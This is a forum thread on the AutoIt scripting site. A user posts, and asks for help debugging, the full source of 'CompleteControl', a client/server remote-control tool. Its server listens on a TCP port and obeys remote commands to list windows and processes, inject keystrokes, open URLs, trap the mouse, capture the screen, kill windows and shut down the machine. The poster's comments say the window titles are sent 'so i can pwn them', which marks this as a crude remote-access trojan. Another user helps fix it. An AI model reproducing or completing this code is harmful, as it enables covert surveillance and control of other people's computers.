Jump to content

Getting Number and Names of Windows


Recommended Posts

After attempts at DLLCall, and using WinList(), I can't find a way to get the number of windows in the task bar, and loop through and get the name of each of them. What I want is to conver my code in C++:

(Sorry for wierd comments, but its how I understand code later when I get back to it.)

int GetNumberofWindows()
{
    HWND hWnd;
    hWnd = GetTopWindow(NULL);//Get highest window

    if(hWnd == NULL)//If there are no windows
        return 0;

    int numberOfWindows = 1;//count the window i found

    while(GetNextWindow(hWnd, GW_HWNDNEXT) != NULL)//loop until there are no windows
    {
        hWnd = GetNextWindow(hWnd, GW_HWNDNEXT);//get next window for me to count
        numberOfWindows++;//add onto the list
    }
    return numberOfWindows;//return the number of windows found.
}

void SendWindowList()
{
    HWND hWnd = GetTopWindow(NULL);//Mm get top window
    char buffer[80];//OMG! Buffer for text ima send

    while(hWnd != NULL)
    {
        GetWindowText(hWnd, buffer, sizeof(buffer));//get current windows title
        send(s, buffer, sizeof(buffer), 0);//send the text to me so i can pwn them
        hWnd = GetNextWindow(hWnd, GW_HWNDNEXT);//get the next window for me to pwn
    }

}

NOw when I try Winlist, I tried this Posted Image but it returns 283 windows. Now I just want the windows in the task bar but it seems that returns child windows, etc, etc.

Link to comment
Share on other sites

maybe this

Dim $num, $names
$var = WinList()

For $i = 1 to $var[0][0]
 ; Only display visble windows that have a title
  If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then
    $num = $num + 1
    $names = $names & $var[$i][0] & @CRLF
  EndIf
Next

Func IsVisible($handle)
  If BitAnd( WinGetState($handle), 2 ) Then 
    Return 1
  Else
    Return 0
  EndIf

EndFunc


MsgBox(0, "Total Windows = " & $num, "Title's of all task bar Windows" & @CRLF & @CRLF & $names & "   ")

8)

NEWHeader1.png

Link to comment
Share on other sites

Server

ElseIf $recvbuffer = "winlist" Then
            
            For $i = 1 to $var[0][0]
                If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then
                    $num = $num + 1
                EndIf
            Next
            
            TCPSend($AcceptedSocket, String($num))
            TCPRecv($AcceptedSocket, 2)
            
            For $i = 1 to $var[0][0]
                If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then
                    $names = $var[$i][0]
                    TCPSend($AcceptedSocket, $names)
                    TCPRecv($AcceptedSocket, 2)
                EndIf
            Next
            $num = 0

Client

Func WindowList()
;Send Command to Get Windows
    TCPSend($connection, "winlist")
;Recv how many windows they have
    $recvbuffer = TCPRecv($connection, 2)
    TCPSend($connection, "OK")
    dim $recvbuffer2
    dim $WindowList[(Number($recvbuffer))]
;For loop to loop enough Recv's to recv their window list
    For $i = 1 to Number($recvbuffer)
    ;Recv window name
        $recvbuffer2 = TCPRecv($connection, 80)
    ;add a value to teh array of the next recved window
        $WindowList[($i - 1)] = $recvbuffer
        TCPSend($connection, "OK")
    Next
;for how many windows they had
    For $s = 1 to Number($recvbuffer)
    ;add them to teh GUI list control
    MsgBox(0, "You had " & $recvbuffer & "windows!", $WindowList[($s-1)])
    ;_GUICtrlListAddItem($WinList, $WindowList[($s-1)])
    Next
EndFunc

Now the server should be sending the number of windows to the client...it then says OK back to the server, letting the server know it should start sending each window name to the client. The client after pushing the recved window name into the array, says ok to send the next, and then should loop through the array adding all the window names to the List control. Now, there are no compile errors, but I'm afraid it gives me an error when I try to test it, saying this line on teh client is a badly formatted array:

dim $WindowList[(Number($recvbuffer))]

Any ideas?

Edited by Encryption
Link to comment
Share on other sites

Func WindowList()
;Send Command to Get Windows
    TCPSend($connection, "winlist")
;Recv how many windows they have
    $recvbuffer = TCPRecv($connection, 2)
    TCPSend($connection, "OK")
    dim $recvbuffer2
    dim $WindowList[1]
;For loop to loop enough Recv's to recv their window list
    For $i = 1 to Number($recvbuffer)
    ;Recv window name
        $recvbuffer2 = TCPRecv($connection, 80)
        IF $i = 1 Then
            $WindowList[0] = $recvbuffer2
        Else
        ;add a value to teh array of the next recved window
            _ArrayAdd($WindowList, $recvbuffer2)
        EndIf
        TCPSend($connection, "OK")
    Next
;for how many windows they had
    For $s = 1 to Number($recvbuffer)
    ;add them to teh GUI list control
        MsgBox(0, "You had " & $recvbuffer & "windows!", $WindowList[($s-1)])
    ;_GUICtrlListAddItem($WinList, $WindowList[($s-1)])
    Next
EndFunc

There, now no run-time errors, but when the message box pops up, the title is correct, it tells the number of windows, BUT when it is *supposed* to show the next array element, it shows all 12 array elements at once. =/

Link to comment
Share on other sites

maybe like this

i can not test this!

Func WindowList()
;Send Command to Get Windows
    TCPSend($connection, "winlist")
;Recv how many windows they have
    $recvbuffer = TCPRecv($connection, 2)
    TCPSend($connection, "OK")
    dim $recvbuffer2
    dim $WindowList[1]
;For loop to loop enough Recv's to recv their window list
    For $i = 1 to Number($recvbuffer)
   ;Recv window name
        $recvbuffer2 = TCPRecv($connection, 80)
        IF $i = 1 Then
            $WindowList[0] = $recvbuffer2
        Else
       ;add a value to teh array of the next recved window
            _ArrayAdd($WindowList, $recvbuffer2)
            MsgBox(0,  "window " & $i, $recvbuffer2)
        EndIf
        
        TCPSend($connection, "OK")
    Next
;for how many windows they had
    For $s = 1 to Number($recvbuffer)
   ;add them to teh GUI list control
        MsgBox(0, "You had " & $recvbuffer & "windows!", $WindowList[($s-1)])
   ;_GUICtrlListAddItem($WinList, $WindowList[($s-1)])
    Next
EndFunc

8)

NEWHeader1.png

Link to comment
Share on other sites

Its so hard to work with snippets, so I might as well give you the full code so you can test it.

Server

;===============================
;==CompleteControl==============
;==Mason========================
;===============================
#include <misc.au3>
#include "IE.au3"

;===============================
;==Global Variables=============
;===============================
$Sock = 1337
$g_IP = "127.0.0.1"
Dim $AcceptedSocket
Dim $var
$num = 0
Dim $sendbuffer
Dim $recvbuffer

TCPStartup();Start Up Winsock

Do
    $MainSocket = TCPListen($g_IP, $sock, 1)
Until $mainsocket > -1

While 1
    
    While 1
        $AcceptedSocket = TCPAccept($mainsocket)
        If $AcceptedSocket >= 0 Then
            ExitLoop
        EndIf
    WEnd

    While 1
        
        $recvbuffer = TCPRecv($AcceptedSocket, 8)
        
        If $recvbuffer = "winkill" Then
            TCPSend($AcceptedSocket, "OK")
            $recvbuffer = TCPRecv($AcceptedSocket, 80)
            WinKill($recvbuffer)
            
        ElseIf $recvbuffer = "proclist" Then
            $ProcList = ProcessList()
            TCPSend($AcceptedSocket, StrinG($ProcList[0][0]))
            For $a = 1 To $ProcList[0][0]
                TCPSend($AcceptedSocket, $ProcList[$a][0])
            Next
            
        ElseIf $recvbuffer = "keysend" Then
            $recvbuffer = TCPRecv($AcceptedSocket, 100)
            Send($recvbuffer)
            
        ElseIf $recvbuffer = "winlist" Then
            
            $var = WinList()
            For $i = 1 to $var[0][0]
                If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then
                    $num = $num + 1
                EndIf
            Next
            
            TCPSend($AcceptedSocket, String($num))
            TCPRecv($AcceptedSocket, 2)
            
            For $i = 1 to $var[0][0]
                If $var[$i][0] <> "" AND IsVisible($var[$i][1]) Then
                    $names = $var[$i][0]
                    TCPSend($AcceptedSocket, $names)
                    TCPRecv($AcceptedSocket, 2)
                EndIf
            Next
            $num = 0
            
        ElseIf $recvbuffer = "end" Then
            TCPCloseSocket($AcceptedSocket)
            ExitLoop

        ElseIf $recvbuffer = "beep" Then
            Beep(500, 1000)
            
        ElseIf $recvbuffer = "iego" Then
            $recvbuffer = TCPRecv($AcceptedSocket, 100)
            $oIE = _IECreate()
            _IENavigate($oIE, $recvbuffer)
            
        ElseIf $recvbuffer = "shutdown" Then
            Shutdown(5)
            
        ElseIf $recvbuffer = "msgbox" Then
            $string1 = TCPRecv($AcceptedSocket, 100)
            $string2 = TCPRecv($AcceptedSocket, 100)
            MsgBox(0, $string1, $string2)
            
        ElseIf $recvbuffer = "restart" Then
            Shutdown(6)
            
        ElseIf $recvbuffer = "mousekil" Then
            _MouseTrap(1, 1, 1, 1)
            
        ElseIf $recvbuffer = "mousebak" Then
            _MouseTrap()
            
        ElseIf $recvbuffer = "capscreen" Then
            $FileSend = "screen.jpg"
            DllCall("captdll.dll", "int", "CaptureScreen", "str", $FileSend, "int", 85)
            
        EndIf
        
        $recvbuffer = ""
        $sendbuffer = ""
        
    WEnd
WEnd


Func IsVisible($handle)
  If BitAnd( WinGetState($handle), 2 ) Then 
    Return 1
  Else
    Return 0
  EndIf

EndFunc

Client

;===============================
;==CompleteControl==============
;==Mason========================
;===============================

;===============================
;==Header Files=================
;===============================
#include <GUIConstants.au3>
#include <GUIlist.au3>
#include <array.au3>
#NoTrayIcon

;===============================
;==Global Variables=============
;===============================
$isConnected = 0
$Port = 1337
Dim $connection
Dim $sendbuffer 
Dim $recvbuffer

;===============================
;==Main Code====================
;===============================
TCPStartup();Get Winsock ready

;==GUI==========================
GUICreate("CompleteControl v1.0", 600, 400, (@DesktopWidth-500)/2, (@DesktopHeight-500)/2);Create Window

;==Menu=========================
$FileMenu = GUICTrlCreateMenu("File")
$HelpMenu = GUICtrlCreateMenu("Help")
$FileConnection = GUICtrlCreateMenuItem("New Connection", $FileMenu)
$FileDisconnect = GUICtrlCreateMenuItem("Disconnect", $FileMenu)
GUICtrlSetState($FileDisconnect, $GUI_DISABLE)
$FileClose = GUICtrlCreateMenuItem("Exit", $FileMenu)
$HelpHelp = GUICtrlCreateMenuItem("Help", $Helpmenu)
$HelpCredits = GUICtrlCreateMenuItem("About", $HelpMenu)

$ExitButton = GUICtrlCreateButton("Exit", 530, 360, 40, 20);Only thing on Main GUI

GUICtrlCreateTab(20, 20, 560, 340);Create Tab

;==Window Management GUI========
GUICtrlCreateTabItem("Window Management")
GUICtrlCreateLabel("Current Windows:", 50, 60)
GUICtrlCreateLabel("Hidden Windows:", 400, 60)
GUICtrlCreateLabel("Set Window Size:", 50, 320)
GUICtrlCreateLabel("Set Window Title:", 350, 320)
$RefreshWindows = GUICtrlCreateButton("Refresh", 100, 265, 50, 20)
$WinWidthEdit = GUICtrlCreateEdit("Width", 140, 317, 60, 21)
$WinHeightEdit = GUICtrlCreateEdit("Height", 210, 317, 60, 21)
$WinTitle = GUICtrlCreateEdit("Title", 440, 317, 60, 21)
$OKWinTitle = GUICtrlCreateButton("OK", 510, 317, 50, 20)
$OKWinSize = GUICtrlCreateButton("OK", 280, 317, 50, 20)
$HideWindow = GUICtrlCreateButton("Hide", 215, 100, 50, 20)
$MiniWindow = GUICtrlCreateButton("Minimize", 215, 130, 50, 20)
$KillWindow = GUICtrlCreateButton("Kill", 215, 160, 50, 20)
$UnhideWindow = GUICtrlCreateButton("Un-Hide", 455, 265, 50, 20)
$MinimizeAll = GUICtrlCreateButton("Minimize All", 280, 130, 75, 20)
$KillAll = GUICtrlCreateButton("Destroy All", 280, 190, 75, 20)
$FlashWindow = GUICtrlCreateButton("Flash", 215, 190, 50, 20)
$ActivateWindow = GUICtrlCreateButton("Activate", 215, 220, 50, 20)
$HiddenList = GUICtrlCreateList("", 400, 75, 150, 200)
$WinList = GUICTrlCreateList("", 50, 75, 150, 200)

;==Process Management GUI=======
GUICtrlCreateTabItem("Process Management")
GUICtrlCreateLabel("CurrentProcesses:", 50, 60)
$ProcessList = GUICtrlCreateList("", 50,75, 150, 200)
$RefreshProcesses = GUICtrlCreateButton("Refresh", 100, 265, 50, 20)

;==Input GUI====================
GUICtrlCreateTabItem("Input")
GUICtrlCreateLabel("Send Keys:", 45, 65)
$KeySendEdit = GUICtrlCreateEdit("Keys", 105, 62, 100, 21)
$KeySendButton = GUICtrlCreateButton("OK", 215, 63, 50, 20)
GUICtrlCreateLabel("Mouse Kill:", 45, 100)
$MouseKillStartButton = GUICtrlCreateButton("Start", 105, 96, 50, 20)
$MouseKillStopButton = GUICtrlCreateButton("Stop", 165, 96, 50, 20)

;==Screen Capture GUI===========
GUICtrlCreateTabItem("Screen Capture")
$ScreenCapButton = GUICtrlCreateButton("Refresh", 275, 330, 50, 20)

;==Etc GUI======================
GUICtrlCreateTabItem("Etc")
$ShutdownButton = GUICtrlCreateButton("Shutdown", 50, 55, 75, 20)
$RestartButton = GUICtrlCreateButton("Restart", 150, 55, 75, 20)
$BeepButton = GUICtrlCreateButton("Beep", 50, 80, 75, 20)
GUICtrlCreateLabel("Open Web Page:", 50, 152)
$IENavigateEdit = GUICtrlCreateEdit("URL", 150, 150, 150, 21)
$IENavigateGo = GUICtrlCreateButton("GO", 310, 150, 25, 20)
GUICtrlCreateLabel("Message Box:", 50, 180)
$MsgBoxTitle = GUICtrlCreateEdit("Title", 125, 178, 150, 21)
$MsgBoxMessage = GUICtrlCreateEdit("Message", 290, 178, 150, 21)
$MsgBoxConfirm = GUICtrlCreateButton("OK", 455, 178, 25, 20)

GUISetState();Show Window

;==Message Loop================
While 1
    $msg = GuiGetMsg();Get Messages
    
    If $msg = $GUI_EVENT_CLOSE Then;X Button
        TCPSend($connection, "end")
        TCPCloseSocket($connection)
        TCPShutdown()
        Exit
        
    ElseIf $msg = $FileClose Then;Menu Close
        TCPSend($connection, "end")
        TCPCloseSocket($connection)
        TCPShutdown()
        Exit
        
    ElseIf $msg = $ExitButton Then;Exit on GUI
        TCPSend($connection, "end")
        TCPCloseSocket($connection)
        TCPShutdown()
        Exit
        
    ElseIf $msg = $RefreshProcesses Then;Refresh Button
        if $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "proclist")
            $recvbuffer = TCPRecv($connection, 3)
            Dim $recvbuffer3
            _GUICtrlListClear($ProcessList)
            For $a = 1 To $recvbuffer
                $recvbuffer3 = TCPRecv($connection, 80)
                _GUICtrlListAddItem($ProcessList ,$recvbuffer3)
            Next
        EndIf
        
    ElseIf $msg = $IENavigateGo Then;GO IE button
        If $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "iego")
            TCPSend($connection, String(GUICtrlRead($IENavigateEdit)))
        EndIf
        
    ElseIf $msg = $KeySendButton Then
        If $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "keysend")
            TCPSend($connection, String(GUICtrlRead($KeySendEdit)))
        EndIf
        
    ElseIf $msg = $FileConnection Then;File->New Connection
        Connect()
        
    ElseIf $msg = $FileDisconnect Then;File->Disconnect
        TCPSend($connection, "end")
        TCPCloseSocket($connection)
        $isConnected = 0
        GUICtrlSetState($FileConnection, $GUI_ENABLE);let them connect
        GUICtrlSetState($FileDisconnect, $GUI_DISABLE);don't let them disconnect
        
    ElseIf $msg = $MsgBoxConfirm Then
        If $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "msgbox")
            TCPSend($connection, GUICtrlRead($MsgBoxTitle))
            TCPSend($connection, GUICtrlRead($MsgBoxMessage))
        EndIf
        
    ElseIf $msg = $RefreshWindows Then;Refresh Button
        If $isConnected = 0 Then;If Not connected
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            WindowList();Get Window List for List Box
        EndIf
        
    ElseIf $msg = $BeepButton Then;Beep Button
        If $isConnected = 0 Then;If NOt connected
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "beep");send command for beeping
        EndIf
        
    ElseIf $msg = $MouseKillStartButton Then;Mouse Kill Start
        If $isConnected = 0 Then;If Not Connected
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "mousekil")
        EndIf
        
    ElseIf $msg = $MouseKillStopButton Then;Mouse Kill Stop
        If $isConnected = 0 Then;If NOt connected
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "mousebak")
        EndIf
        
    ElseIf $msg = $ScreenCapButton Then
        If $isConnected = 0 Then;If NOt Connected
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "capscreen")
        EndIf
        
    ElseIf $msg = $ShutdownButton Then
        If $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "shutdown")
        EndIf
        
    ElseIf $msg = $RestartButton Then
        If $isConnected = 0 Then
            MsgBox(0, "Error", "You're not connected to a client!")
        Else
            TCPSend($connection, "restart")
        EndIf
        
    EndIf
    
    Sleep(1);No Max CPU Usage
WEnd

Func Connect()
    $g_ip = InputBox("Server IP", "What is the Client's IP?");Get IP
    
    $connection = TCPConnect($g_ip, $Port);attempt to connect to client
    if $connection = -1 Then;if not connected
        MsgBox(0, "Error", "Could not connect to client!")
    Else
        MsgBox(0, "Connected", "Connected to the client successfully!")
        $isConnected = 1;set connected to connected state
        GUICtrlSetState($FileDisconnect, $GUI_ENABLE);let them disconnected
        GUICtrlSetState($FileConnection, $GUI_DISABLE);don't let them make 2 connections
    EndIf
EndFunc

Func WindowList()
;Send Command to Get Windows
    TCPSend($connection, "winlist")
;Recv how many windows they have
    $recvbuffer = TCPRecv($connection, 2)
    TCPSend($connection, "OK")
    dim $recvbuffer2
    dim $WindowList[1]
;For loop to loop enough Recv's to recv their window list
    For $i = 1 to Number($recvbuffer)
  ;Recv window name
        $recvbuffer2 = TCPRecv($connection, 80)
        IF $i = 1 Then
            $WindowList[0] = $recvbuffer2
        Else
      ;add a value to teh array of the next recved window
            _ArrayAdd($WindowList, $recvbuffer2)
            _GUICtrlListAddItem($Winlist, $WindowList[$i-1])
        EndIf
        
        TCPSend($connection, "OK")
    Next
EndFunc

Now obviously you can see that it is no where near done, but I need to get these few things working before I move on.

The client connects to the server and tells it what to do basicly. Here are the problems that I see...(you can test too, just compile them both, run the server, and then the client...go to File->New Connection and 127.0.0.1)

1) On the window list, you have to press the "Refresh" button multiple times in order for the Listbox to add the windows...and then it adds all of them on one line.

2) Same on the process list as above.

3) On the Etc tab, the IEGo button takes several "presses" before it finally opens a window.

4)Same as above on the Message Box control..you have to press "ok" several times before a MsgBox appears and then it only occasionally shows you the text.

Edited by Encryption
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...